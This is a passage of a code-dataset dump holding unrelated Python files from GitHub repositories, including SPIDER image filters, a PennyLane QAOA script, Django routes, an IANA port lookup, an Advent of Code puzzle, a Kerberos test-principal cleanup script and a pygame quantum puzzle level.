os.path.basename(imgname)+\"_out\"\n\n\t# calculate wavelength of electron at approprate kv:\n\th = 6.626068e-34 # planck's constant\n\tm = 9.10938188e-31 # mass of electron\n\teV = 1.6e-19*hightension # ev in joules\n\tc = float(2.998e+8) # speed of light\n\t# calculate wavelength\n\tlam = h/math.sqrt(2*m*eV*(1+(eV/(2*m*c*c))))\n\t# convert to angstroms\n\tlam *= 10e9\n\n\tmySpider = spyder.SpiderSession(dataext='spi', logo=False, nproc=1)\n\t# set up TF CT command\n\tapDisplay.printMsg(\"calculating transfer function using 'TF CT'\")\n\tmySpider.toSpiderQuiet(\"TF CT\")\n\tmySpider.toSpiderQuiet(tfname)\n\tmySpider.toSpider(\"%.3f ; cs\"%cs)\n\tmySpider.toSpider(\"%i,%.8f ; defocus,lambda\"%(df,lam))\n\tmySpider.toSpider(\"%i ; img size\"%imgsize)\n\tmySpider.toSpider(\"%.8f ; max sp.fr. 1/(2*%.5f)\"%(1/(2*apix),apix))\n\tmySpider.toSpider(\"0.0047,100 ; src size, df spread\")\n\tmySpider.toSpider(\"0.0,0.0 ; astig, azi\")\n\tmySpider.toSpider(\"0.057,0.15 ; amp contr, gauss\")\n\tmySpider.toSpider(\"-1 ; sign\")\n\tmySpider.close()\n\n\t# apply the tranform\n\tmySpider = spyder.SpiderSession(dataext='spi', logo=False, nproc=1)\n\tmySpider.toSpiderQuiet(\"FT\",inname+\"@1\",\"_1\")\n\tmySpider.toSpiderQuiet(\"MU\",\"_1\",tfname,\"_2\",\"*\")\n\tmySpider.toSpiderQuiet(\"FT\",\"_2\",outname)\n\tapDisplay.printMsg(\"applying transfer function to image\")\n\tmySpider.close()\n\n\tif not os.path.exists(outname+\".spi\"):\n\t\tapDisplay.printError(\"corrected SPIDER image was not generated\")\n\n\treturn os.path.abspath(outname+\".spi\")\n\n#===============================\ndef fermiLowPassFilter(imgarray, pixrad=2.0, dataext=\"spi\", nproc=None):\n\tif dataext[0] == '.': dataext = dataext[1:]\n\tif nproc is None:\n\t\tnproc = apParam.getNumProcessors(msg=False)\n\t### save array to spider file\n\tspider.write(imgarray, \"rawimg.\"+dataext)\n\t### run the filter\n\tmySpider = spyder.SpiderSession(dataext=dataext, logo=False, nproc=nproc)\n\t### filter request: infile, outfile, filter-type, inv-radius, temperature\n\tmySpider.toSpiderQuiet(\"FQ\", \"rawimg\", \"filtimg\", \"5\", str(1.0/pixrad), \"0.04\")\n\tmySpider.close()\n\t### read array from spider file\n\tfiltarray = spider.read(\"filtimg.\"+dataext)\n\t### clean up\n\tapFile.removeFile(\"rawimg.\"+dataext)\n\tapFile.removeFile(\"filtimg.\"+dataext)\n\treturn filtarray\n\n#===============================\ndef fermiHighPassFilter(imgarray, pixrad=200.0, dataext=\"spi\", nproc=None):\n\tif dataext[0] == '.': dataext = dataext[1:]\n\tif nproc is None:\n\t\tnproc = apParam.getNumProcessors(msg=False)\n\t### save array to spider file\n\tspider.write(imgarray, \"rawimg.\"+dataext)\n\t### run the filter\n\tmySpider = spyder.SpiderSession(dataext=dataext, logo=False, nproc=nproc)\n\t### filter request: infile, outfile, filter-type, inv-radius, temperature\n\tmySpider.toSpiderQuiet(\"FQ\", \"rawimg\", \"filtimg\", \"6\", str(1.0/pixrad), \"0.04\")\n\tmySpider.close()\n\t### read array from spider file\n\tfiltarray = spider.read(\"filtimg.\"+dataext)\n\t### clean up\n\tapFile.removeFile(\"temp001.\"+dataext)\n\tapFile.removeFile(\"filtimg.\"+dataext)\n\treturn filtarray\n\n\n\n","repo_name":"vosslab/ctfeval","sub_path":"appionlib/apSpider/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":4036,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"72"} +{"seq_id":"26251800585","text":"N, S = map(int, input().split())\n\nA = list(map(int, input().split()))\n\ndp = [[False]*(S+1) for _ in range(N+1)]\n\ndp[0][0] = True\n\n# print(dp)\nfor i in range(N):\n for j in range(S+1):\n # print(j+A[j])\n if j < A[i]:\n dp[i+1][j] = dp[i][j]\n\n if j >= A[i]:\n if dp[i][j-A[i]] or dp[i][j]:\n dp[i+1][j] = True\n\n# for d in dp:\n# print(d)\n\n# print(dp[N][S])\n\n# if dp[N][S]:\n# print(\"Yes\")\n# else:\n# print(\"No\")\n\nif not dp[N][S]:\n print(-1)\n exit()\n\nplace = S\nans = []\nfor i in reversed(range(1,N+1)):\n if dp[i-1][place]:\n continue\n else:\n place -= A[i-1]\n ans += [i]\n\nans.sort()\nprint(len(ans))\nprint(*ans)\n\n","repo_name":"ryuki999/atcoder","sub_path":"other_contest/kyopro-tessoku/ch04/b18.py","file_name":"b18.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"34901353104","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jan 2 17:39:21 2023\n\n@author: Optimus\n\"\"\"\n\nimport pennylane as qml\nfrom pennylane import numpy as np\n\nnp.random.seed(42)\n\nn_wires = 20\ngraph = [(0,1), (0,2), (1, 3), (3,4), (4,5), (5,6), (6,7), (7,2), (8,1), (9,2), (10,3), (11,4), (12,5), (13,6), (14,7), (15,2), (16,7), (17,2), (19,2)]\n\n# unitary operator U_B with parameter beta\ndef U_B(beta):\n for wire in range(n_wires):\n qml.RX(2 * beta, wires=wire)\n\n\n# unitary operator U_C with parameter gamma\ndef U_C(gamma):\n for edge in graph:\n wire1 = edge[0]\n wire2 = edge[1]\n qml.CNOT(wires=[wire1, wire2])\n qml.RZ(gamma, wires=wire2)\n qml.CNOT(wires=[wire1, wire2])\n\n\ndef bitstring_to_int(bit_string_sample):\n bit_string = \"\".join(str(bs) for bs in bit_string_sample)\n return int(bit_string, base=2)\n\ndef rec_qaoao(Hd):\n x=qml.PauliX(Hd)\n Hd=qml.Hadamard(x)\n Hd=qml.PauliX(Hd)\n\n\ndev = qml.device(\"default.qubit\", wires=n_wires, shots=1)\n\n@qml.qnode(dev)\ndef circuit(gammas, betas, edge=None, n_layers=1):\n # apply Hadamards to get the n qubit |+> state\n for wire in range(n_wires):\n qml.Hadamard(wires=wire)\n # p instances of unitary operators\n for i in range(n_layers):\n U_C(gammas[i])\n U_B(betas[i])\n if edge is None:\n # measurement phase\n return qml.sample()\n # during the optimization phase we are evaluating a term\n # in the objective using expval\n Hd = qml.PauliZ(edge[0]) @ qml.PauliZ(edge[1])\n #a=qml.expval(Hd)\n #print(a)\n Hd=qml.PauliX(edge[0]) @ qml.PauliX(edge[1])\n #Hd=qml.Hadamard(x)\n #H=qml.PauliX(Hd)\n return qml.expval(Hd)\n\n\ndef qaoa_maxcut(n_layers=1):\n print(\"\\np={:d}\".format(n_layers))\n \n # initialize the parameters near zero\n init_params = 0.01 * np.random.rand(2, n_layers, requires_grad=True)\n \n # minimize the negative of the objective function\n def objective(params):\n gammas = params[0]\n betas = params[1]\n neg_obj = 0\n for edge in graph:\n print(edge)\n # objective for the MaxCut problem\n neg_obj -= 0.5 * (1 - circuit(gammas, betas, edge=edge, n_layers=n_layers))\n return neg_obj\n \n # initialize optimizer: Adagrad works well empirically\n opt = qml.AdagradOptimizer(stepsize=0.5)\n \n # optimize parameters in objective\n params = init_params\n steps = 30\n for i in range(steps):\n params = opt.step(objective, params)\n if (i + 1) % 5 == 0:\n print(\"Objective after step {:5d}: {: .7f}\".format(i + 1, -objective(params)))\n \n # sample measured bitstrings 100 times\n bit_strings = []\n n_samples = 100\n for i in range(0, n_samples):\n print(bitstring_to_int(circuit(params[0], params[1], edge=None, n_layers=n_layers)))\n bit_strings.append(bitstring_to_int(circuit(params[0], params[1], edge=None, n_layers=n_layers)))\n \n # print optimal parameters and most frequently sampled bitstring\n counts = np.bincount(np.array(bit_strings))\n most_freq_bit_string = np.argmax(counts)\n print(\"Optimized (gamma, beta) vectors:\\n{}\".format(params[:, :n_layers]))\n print(\"Most frequently sampled bit string is: {:04b}\".format(most_freq_bit_string))\n \n return -objective(params), bit_strings\n\n\n# perform qaoa on our graph with p=1,2 and\n# keep the bitstring sample lists\n#bitstrings1 = qaoa_maxcut(n_layers=1)[1]\nparams,bitstrings2 = qaoa_maxcut(n_layers=1)[1]\n#bitstrings2 = qaoa_maxcut(n_layers=3)[1]\n\nimport matplotlib.pyplot as plt\n\nxticks = range(0, 16)\nxtick_labels = list(map(lambda x: format(x, \"04b\"), xticks))\nbins = np.arange(0, 17) - 0.5\n\n#fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(8, 4))\n#plt.subplot(1, 2, 1)\n#plt.title(\"n_layers=1\")\n#plt.xlabel(\"bitstrings\")\n#plt.ylabel(\"freq.\")\n#plt.xticks(xticks, xtick_labels, rotation=\"vertical\")\n#plt.hist(bitstrings1, bins=bins)\nplt.subplot(1, 2, 2)\nplt.title(\"n_layers=2\")\nplt.xlabel(\"bitstrings\")\nplt.ylabel(\"freq.\")\nplt.xticks(xticks, xtick_labels, rotation=\"vertical\")\nplt.hist(bitstrings2, bins=bins)\nplt.tight_layout()\nplt.show()","repo_name":"Athaagra/QuantumComputingRQAOA-QAOA","sub_path":"QAOA.py","file_name":"QAOA.py","file_ext":"py","file_size_in_byte":4143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"32789025009","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\r\n# @Author : mofei\r\n# @Time : 2018/9/3 22:16\r\n# @File : urls.py\r\n# @Software: PyCharm\r\n\r\nfrom django.conf.urls import url\r\n\r\nfrom game import views\r\n\r\nurlpatterns = [\r\n url(r'^jigsaw', views.jigsaw),\r\n url(r'^llk$', views.llk),\r\n url(r'^llk/icon_map', views.llk_icon_map),\r\n url(r'^llk/connected', views.llk_connected),\r\n url(r'^llk/status', views.llk_status),\r\n url(r'^llk/hint', views.llk_hint)\r\n]\r\n","repo_name":"mofei952/django_study","sub_path":"game/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"33405325601","text":"import pandas as pd\nimport random\n\ndf = pd.read_csv(\"Constellations.csv\")\n\n# print(df)\n# print(df.index)\n# print(df.columns)\n# print(df.ix[4,\"Constellation\"])\n\ndef practice_one_set(n):\n print(\"set\", n, \"(#{}-{})\".format(4*n, 4*n+4))\n for x in range(4*n, 4*n+4):\n row = df.ix[x,:]\n inp = input(\"What is constellation #{}? \".format(row[\"Rank\"]))\n print(\"Correct!\" if inp == row[\"Constellation\"].strip() else \"Incorrect\")\n print(row[\"Rank\"], row[\"Constellation\"], \"\\n\")\n\ndef practice_random_set():\n n = random.randrange(22)\n practice_one_set(n)\n\ndef practice_all_sets():\n for n in range(22):\n practice_one_set(n)\n\nif __name__ == \"__main__\":\n practice_all_sets()\n","repo_name":"Kuhron/programming","sub_path":"ConstellationMemorization.py","file_name":"ConstellationMemorization.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"74945221973","text":"# Return a dictionary of tcp/udp to port numbers\ndef get_iana():\n # Open the CSV file\n service_mapping = {}\n filename = 'helper_functions/all.csv'\n with open(filename, 'r') as fd:\n\n for line in fd:\n stuff = line.split(',')\n try:\n service = stuff[0]\n port_protocol_tuple = (stuff[2].lower(), int(stuff[1]))\n if service == '' or stuff[1] == '' or stuff[2] == '':\n continue\n else:\n # Ensure the port is number!\n # print(port_protocol_tuple)\n # print(service)\n service_mapping[port_protocol_tuple] = service\n except IndexError:\n continue\n except ValueError:\n continue\n # Manually enter port 80\n service_mapping[('tcp', 80)] = 'http'\n service_mapping[('udp', 80)] = 'http'\n service_mapping[('udp', 50005)] = 'Unassigned'\n\n return service_mapping\n\ndef get_network_service_at_dst(packet):\n service_mapping = get_iana()\n src_port = int(packet.tcp.srcport)\n dst_port = int(packet.tcp.dstport)\n if src_port <= dst_port:\n if ('tcp', src_port) not in service_mapping.keys():\n service=\"Unassigned\"\n else:\n service = service_mapping[('tcp', src_port)]\n else:\n if ('tcp', dst_port) not in service_mapping.keys():\n service=\"Unassigned\"\n else:\n service = service_mapping[('tcp', dst_port)]\n #service = service_mapping[('tcp', dst_port)]\n return service\n ","repo_name":"bavanya/Network_intrusion_detection_system","sub_path":"Using_tcpdump/inference/helper_functions/get_network_service_at_dst.py","file_name":"get_network_service_at_dst.py","file_ext":"py","file_size_in_byte":1602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"70944336855","text":"from asyncio import get_event_loop\nfrom collections.abc import Callable\n\nfrom ..api.gateway.gateway import Gateway\nfrom .rest_client import RestClient\n\n\nclass Client:\n def __init__(self, token: str) -> None:\n self.token = token\n\n self.rest = RestClient(self.token)\n self.gateway = Gateway(self)\n\n self.listeners = {}\n\n def listen(self, event_name: str, callback: Callable[[], None]) -> None:\n self.listeners[event_name.upper()] = callback\n\n def start(self) -> None:\n loop = get_event_loop()\n\n try:\n loop.run_until_complete(self.gateway.start())\n except KeyboardInterrupt:\n loop.run_until_complete(self.close())\n\n async def close(self):\n await self.rest.close()\n await self.gateway.close()\n","repo_name":"SubeCraft/lysia","sub_path":"lysia/implementations/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"38038925851","text":"from tqdm import tqdm\n\nfrom torch.utils.data import DataLoader\n\nimport numpy as np\n\nfrom utils.dataset_utils import TrainDataset, checkout\nfrom utils.visualization_utils import get_frequency_distribution, plot_scatter, rgb2gray\n\nfrom option import options as opt\n\nif __name__ == '__main__':\n opt.de_type = ['denoising_15', 'denoising_25', 'denoising_50', 'deraining', 'dehazing', 'deblurring']\n opt.batch_size = 6\n \n trainset = TrainDataset(opt)\n trainloader = DataLoader(trainset, batch_size=opt.batch_size, pin_memory=True, shuffle=True,\n drop_last=True, num_workers=0)\n print('loading %s data pairs in total.'%(str(trainset.len())))\n\n checkout('output_img')\n \n x = []\n y = []\n for idx in range(len(opt.de_type)):\n x.append([])\n y.append([])\n \n iterator = 0\n \n for ([clean_name, de_id], degrad_patch, degrad_patch_2, clean_patch, clean_patch_2) in tqdm(trainloader):\n iterator = iterator + 1\n if iterator == 41:\n break\n \n degrad_patch = degrad_patch.numpy()\n clean_patch = clean_patch.numpy()\n \n for idx in range(len(opt.de_type)):\n degrad = rgb2gray(degrad_patch[idx])\n degrad = get_frequency_distribution(degrad)\n \n clean = rgb2gray(clean_patch[idx])\n clean = get_frequency_distribution(clean)\n \n x[idx].append(clean[0] / degrad[0])\n y[idx].append(np.sum(clean[1:]) / np.sum(degrad[1:]))\n \n plot_scatter(x, y,\n labels=opt.de_type,\n xlabel='LFC_clean/LFC_degrad', \n ylabel='HFC_clean/HFC_degrad', \n xlim=(0, 2),\n ylim=(0, 4),\n save_path='output_img/frequency_distribution_scatter_center0.png') ","repo_name":"stcodeer/AirNet","sub_path":"plot_frequency_distribution_2.py","file_name":"plot_frequency_distribution_2.py","file_ext":"py","file_size_in_byte":1806,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"25281969453","text":"# Напишите программу, которая принимает на вход число N и выдает набор произведений чисел от 1 до N.\n# Пример:\n# - пусть N = 4, тогда [ 1, 2, 6, 24 ] (1, 1*2, 1*2*3, 1*2*3*4)\n\nnumber = input('Введите натуральное число ')\n\nif number.isdigit() and int(number) > 0:\n number = int(number)\n result = [1]\n for i in range(2, number+1):\n result.append(result[i-2]*i)\n print(f'Набор произведений чисел от 1 до {number} равен {result}')\nelse:\n print(\"Число введено некорректно\")\n","repo_name":"OlesyaLisiy/Python","sub_path":"Seminar_2/Homework/Task_2_2.py","file_name":"Task_2_2.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12344739796","text":"\n__version__ = \"0.2\"\n\nimport tornado.web\nimport tornado.gen\nimport tornado.websocket\nimport motor\nfrom bson.objectid import ObjectId\nimport simplejson as json\nimport urllib\n\nclass PipelineRouter():\n\n def __init__(self, db, stream_id):\n self.db = db\n self.stream_id = stream_id\n\n @tornado.gen.engine\n def get_server(self, callback):\n\n stream = yield motor.Op(self.db.streams.find_one, {\"_id\": ObjectId(self.stream_id)},\n {\"pipeline_server\":1, \"_id\": 0})\n\n if not \"pipeline_server\" in stream or stream[\"pipeline_server\"] is None:\n server = {\"error\": \"No pipeline server\"}\n else:\n server = yield motor.Op(self.db.servers.find_one, {\"_id\": ObjectId(stream[\"pipeline_server\"])},\n {\"local_ip\":1, \"port\":1, \"_id\": 0})\n\n callback(server)\n\n def get_live_url(self, server):\n return \"ws://\"+unicode(server[\"local_ip\"])+\":\"+unicode(server[\"port\"])+\"/live.json\"\n\n def get_updates_url(self, server):\n return \"ws://\"+unicode(server[\"local_ip\"])+\":\"+unicode(server[\"port\"])+\"/updates.json\"\n\n def get_restart_url(self, server):\n return \"http://\"+server[\"local_ip\"]+\":\"+unicode(server[\"port\"])+\"/restart.json\"\n\n def get_start_streaming_url(self, server):\n return \"http://\"+server[\"local_ip\"]+\":\"+unicode(server[\"port\"])+\"/start-streaming.json\"\n\n def get_scale_url(self, server):\n return \"http://\"+server[\"local_ip\"]+\":\"+unicode(server[\"port\"])+\"/scale.json\"\n\n def get_terminal_url(self, server):\n return \"http://\"+server[\"local_ip\"]+\":\"+unicode(server[\"port\"])+\"/run-command.json\"\n\n def get_playlist_update_url(self, server):\n return \"http://\"+server[\"local_ip\"]+\":\"+unicode(server[\"port\"])+\"/playlist-update.json\"\n\n @tornado.gen.engine\n def request(self, callback, url, post_args, attempts=3, raw_result = False):\n\n for attempt in range(attempts):\n\n tornado.httpclient.AsyncHTTPClient.configure(\"tornado.curl_httpclient.CurlAsyncHTTPClient\")\n http_client = tornado.httpclient.AsyncHTTPClient()\n\n req = tornado.httpclient.HTTPRequest(url, body=urllib.urlencode(post_args), method=\"POST\")\n\n raw_response = yield tornado.gen.Task(http_client.fetch, req)\n\n if raw_response.error:\n response = {\"error\": \"Error while connecting to backend\"}\n else:\n try:\n response = json.loads(unicode(raw_response.body))\n except:\n response = {\"error\": \"Error while parsing response from backend\"}\n\n\n if \"error\" not in response:\n break\n\n\n if raw_result:\n response = raw_response\n\n callback(response)\n\n def request_sync(self, url, post_args, attempts=3, raw_result = False):\n\n for attempt in range(attempts):\n\n http_client = tornado.httpclient.HTTPClient()\n\n req = tornado.httpclient.HTTPRequest(url, body=urllib.urlencode(post_args), method=\"POST\")\n\n raw_response = http_client.fetch(req)\n\n\n if raw_response.error:\n response = {\"error\": \"Error while connecting to backend\"}\n else:\n try:\n response = json.loads(unicode(raw_response.body))\n except:\n response = {\"error\": \"Error while parsing response from backend\"}\n\n\n if \"error\" not in response:\n break\n\n\n if raw_result:\n response = raw_response\n\n return response\n","repo_name":"soundslash/soundslash","sub_path":"src/web/controller/PipelineRouter.py","file_name":"PipelineRouter.py","file_ext":"py","file_size_in_byte":3594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"69824099094","text":"import itertools\nimport collections\n\nday = __file__[:-3]\nprint(f\"Day {day}\")\nwith open(f\"{day}.txt\") as f:\n text = f.read()\n\nplane = [[cube == \"#\" for cube in line] for line in text.split()]\n\ncube_3d = collections.namedtuple(\"cube\", \"x y z\", defaults=[0,0,0])\n\nclass Grid:\n\n def __init__(self, plane, neighbour_fun, alive_fun, coord_type=cube_3d):\n self.grid = {coord_type(x,y) for y, row in enumerate(plane) for x, cube in enumerate(row) if cube}\n self.alive = alive_fun\n self.neighbours = neighbour_fun\n\n def step(self):\n act_neighbours = collections.defaultdict(int)\n for cube in self.grid:\n for n in self.neighbours(cube):\n act_neighbours[n] += 1\n self.grid = {cube for cube, n in act_neighbours.items() if self.alive(cube in self.grid, n)}\n\n def __len__(self):\n return len(self.grid)\n\n# Part 1\n\ndef neighbours(point, dim=3):\n return {tuple(a+b for a,b in zip(point, delta)) for delta in itertools.product([-1,0,1],repeat=dim) if any(delta)}\n\ndef alive(active, neighbours):\n if active:\n return neighbours == 2 or neighbours == 3\n else:\n return neighbours == 3\n\ngrid = Grid(plane, neighbour_fun=neighbours, alive_fun=alive)\n\nfor i in range(6):\n grid.step()\n\nprint(f\"Part 1: {len(grid)}\")\n\n# Part 2\n\ncube_4d = collections.namedtuple(\"cube\", \"x1 x2 x3 x4\", defaults=[0,0,0,0])\nn2 = lambda p: neighbours(p, dim=4)\ngrid = Grid(plane, neighbour_fun=n2, alive_fun=alive, coord_type=cube_4d)\n\nfor i in range(6):\n grid.step()\n\nprint(f\"Part 2: {len(grid)}\")\n\n","repo_name":"fuzzy-focus/AdventOfCode","sub_path":"2020/17.py","file_name":"17.py","file_ext":"py","file_size_in_byte":1570,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"13301548585","text":"\"\"\"\nMain extension file.\nThis is the file that Omniverse searchs for when first launching the extension.\n\"\"\"\n\nimport os\nimport omni.ext \nimport carb\nimport omni.kit.window.toolbar as tb\nfrom omni.kit.viewport.utility import get_active_viewport_window\n\nfrom .viewport_scene import ViewportScene, MeasurementToolGroup\n\nclass MeasurementTool(omni.ext.IExt):\n\n # Constructor\n def __init__(self):\n self._viewport_scene = None\n\n # Called by Omniverse when the extension is first launched\n def on_startup(self, ext_id):\n print(\"[lm.measurement.tool] Measurement tool startup\")\n\n ext_path = omni.kit.app.get_app().get_extension_manager().get_extension_path(ext_id)\n icon_path = os.path.join(ext_path, \"icons\")\n\n # Get the active Viewport\n viewport_window = get_active_viewport_window()\n\n # Error if there is no Viewport\n if not viewport_window:\n carb.log_error(f\"No viewport window to add {ext_id} scene to\")\n return\n \n # Build out the scene\n self._viewport_scene = ViewportScene(viewport_window, ext_id)\n self._manipuator = self._viewport_scene._manipulator\n\n # Set up the toolbar\n self._toolbar = tb.get_instance()\n self._widget = MeasurementToolGroup(icon_path, self._manipuator)\n self._toolbar.add_widget(self._widget, -100)\n\n # Clean up\n def on_shutdown(self):\n self._toolbar.remove_widget(self._widget)\n self._widget.clean()\n self._widget = None\n self._toolbar = None\n\n if self._viewport_scene:\n self._viewport_scene.destroy()\n self._viewport_scene = None\n\n print(\"[lm.measurement.tool] Measurement Tool shutdown\")","repo_name":"Brett-Amberge/lm-measurement-tool","sub_path":"exts/lm.measurement.tool/lm/measurement/tool/extension.py","file_name":"extension.py","file_ext":"py","file_size_in_byte":1728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71190625814","text":"# 손가락\n# 엄지 검지 중지 약지 새끼손가락\n# 1 2 3 4 5\n# 올바르게 만들어지냐를 물어보는 것 같음\n# 검지, 새끼손가락은 펴져있고 엄지, 중지, 약지는 접혀져 닿아있는 상태\n# 각 값을 더한게 특정 리스트에 있을때?\n# 엄지, 중지, 약지는 접혀있어야하기 때문에 엄+중(중+엄), 엄+약(약+엄), 중+약(약+중)이 리스트에 있을때?\n# 다만 체크해야되는 것은 3개이지만 순서가 바뀐 경우는 어떻게 처리해야될까? 10 * a + b\n# 중복 제거는 어떻게 할까 -> 리스트? : 순서가 다르면 거짓이나옴\n# 집합을 사용한 결과 순서가 달라도 정답이 나옴 => 집합을 사용\narray = set()\nfor _ in range(int(input())):\n a, b = map(int, input().split())\n if a < b: # ex) 1:3, 1:4\n tmp = 10 * a + b\n else:\n tmp = 10 * b + a\n array.add(tmp)\nif array == {13, 14, 34}:\n print(\"Wa-pa-pa-pa-pa-pa-pow!\")\nelse:\n print(\"Woof-meow-tweet-squeek\")","repo_name":"magnificentLee/Study","sub_path":"알고리즘/구현/101~150/145.여우 사인.py","file_name":"145.여우 사인.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"33132207208","text":"\nimport kadmin\n\nadmin = kadmin.init_with_keytab(\"test/admin\", \"./test.keytab\")\n\niter = admin.principals(match=\"[a-z][a-z][a-z][a-z]@EXAMPLE.COM\")\n\nfor princ in iter:\n try:\n admin.delprinc(princ)\n except kadmin.KAdminError as error:\n print(error)\n \n","repo_name":"rjancewicz/python-kadmin","sub_path":"test/purge_kdb.py","file_name":"purge_kdb.py","file_ext":"py","file_size_in_byte":275,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"67"} +{"seq_id":"40356874638","text":"#range 范围\n#python内建功能:清单产生器\nimport random\n\nrange(3) #[0, 1, 2]\nrange(8, 10) #随机产生起始值为8,结尾值10是不包含的,[8, 9]\nrange(2, 10, 3) #3称为阶梯值。开始值2每次增加3,[2, 5, 8]\nrange(10, 3, -2) #阶梯值可以是负的。[10, 8, 6, 4]\n\n#拿来当作“执行固定次数”用\nfor i in range(3): #执行3次\n print(i)\n\n\nfor i in range(6):\n\tr = random.randint(1, 49)\n\tprint('这是第', i+1, '次产生随机数字', r)\n\n\nfor i in range(2, 12, 3):\n print(i)","repo_name":"wunoah5/range","sub_path":"range0.py","file_name":"range0.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30981764578","text":"import pygame\n\nfrom qiskit import QuantumCircuit, QuantumRegister, ClassicalRegister, Aer, execute\nfrom qiskit.quantum_info import Statevector\nfrom qiskit.visualization import plot_state_qsphere\nimport matplotlib.backends.backend_agg as agg\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom globals import *\nfrom entities import Qubit, Gate\n\n\nclass Level:\n def __init__(self, qubits_num, gates, goal_state):\n self.box = pygame.image.load(\"assets/box.png\").convert_alpha()\n self.box = pygame.transform.scale(self.box, (1820, 780))\n self.box_rect = pygame.Rect(BOX_X, BOX_Y, BOX_WIDTH, BOX_HEIGHT)\n self.goal_state = Statevector(np.array(goal_state))\n self.qubits = self.load_qubits(qubits_num)\n self.gates = self.load_gates(gates)\n self.current_state = Statevector.from_label(\"0\" * qubits_num)\n self.quantum_circuit = self.create_quantum_circuit(qubits_num)\n self.items = self.qubits + self.gates\n self.inventory = [None, None, None, None, None]\n self.state_surface = pygame.Surface((WIDTH, HEIGHT), pygame.SRCALPHA)\n self.state_needs_update = True\n self.goal_state_surface = pygame.Surface(\n (WIDTH, HEIGHT), pygame.SRCALPHA)\n self.goal_state_show = True\n self.poison_timer = 300\n self.poison_alpha = 0\n self.poison = pygame.image.load(\"assets/poison.png\").convert_alpha()\n self.poison = pygame.transform.scale(self.poison, (WIDTH, HEIGHT))\n self.poison_overlay = pygame.Surface((WIDTH, HEIGHT), pygame.SRCALPHA)\n self.font = pygame.font.Font(font_file, 36)\n self.slot_image = pygame.image.load(\"assets/slot.png\").convert_alpha()\n self.pacz = pygame.image.load(\"assets/pacz.png\").convert_alpha()\n\n def load_qubits(self, qubits_num):\n qubits = []\n for id in range(qubits_num):\n qubit = Qubit(id, self.box_rect)\n qubits.append(qubit)\n return qubits\n\n def load_gates(self, gate_ids):\n gates = []\n for id in gate_ids:\n gate = Gate(id, self.box_rect)\n gates.append(gate)\n return gates\n\n def create_quantum_circuit(self, qubits_num):\n q = QuantumRegister(qubits_num)\n c = ClassicalRegister(qubits_num)\n qc = QuantumCircuit(q, c)\n return qc\n\n def use_gate_on_qubit(self, gate_index, qubit):\n if self.inventory[gate_index] is not None:\n selected_gate = self.inventory[gate_index]\n\n if selected_gate.id == \"x\":\n self.quantum_circuit.x(qubit.id)\n elif selected_gate.id == \"h\":\n self.quantum_circuit.h(qubit.id)\n elif selected_gate.id == \"cx\":\n if len(self.qubits) == 2: # todo: fix?\n self.quantum_circuit.cx(0, 1)\n elif len(self.qubits) > qubit.id+1:\n self.quantum_circuit.cx(qubit.id, qubit.id+1)\n elif selected_gate.id == \"t\":\n self.quantum_circuit.t(qubit.id)\n elif selected_gate.id == \"z\":\n self.quantum_circuit.z(qubit.id)\n elif selected_gate.id == \"ry\":\n self.quantum_circuit.ry(np.pi/2, qubit.id)\n elif selected_gate.id == \"ccx\":\n if len(self.qubits) > qubit.id+2:\n self.quantum_circuit.ccx(qubit.id, qubit.id+1, qubit.id+2)\n\n simulator = Aer.get_backend('statevector_simulator')\n job = execute(self.quantum_circuit, simulator)\n result = job.result()\n psi = result.get_statevector(self.quantum_circuit)\n self.current_state = psi\n self.state_needs_update = True\n self.inventory[gate_index] = None\n\n def draw_inventory(self, screen):\n SLOT_WIDTH, SLOT_HEIGHT = 64, 64\n inventory_width = len(self.inventory) * SLOT_WIDTH\n start_x = (WIDTH - inventory_width) // 2\n for i, item in enumerate(self.inventory):\n slot_x = start_x + i * SLOT_WIDTH\n slot_y = HEIGHT - 150\n screen.blit(self.slot_image, (slot_x, slot_y))\n if item is not None and isinstance(item, Gate):\n sprite_x = slot_x + (SLOT_WIDTH - item.sprite.get_width()) // 2\n sprite_y = slot_y + \\\n (SLOT_HEIGHT - item.sprite.get_height()) // 2\n screen.blit(item.sprite, (sprite_x, sprite_y))\n\n def add_item_to_inventory(self, item):\n for i, slot in enumerate(self.inventory):\n if slot is None:\n self.inventory[i] = item\n return\n\n def plot_sphere(self, state):\n fig = plot_state_qsphere(\n state, show_state_phases=False, figsize=(3, 3))\n canvas = agg.FigureCanvasAgg(fig)\n canvas.draw()\n renderer = canvas.get_renderer()\n raw_data = renderer.tostring_rgb()\n wh = canvas.get_width_height()\n return 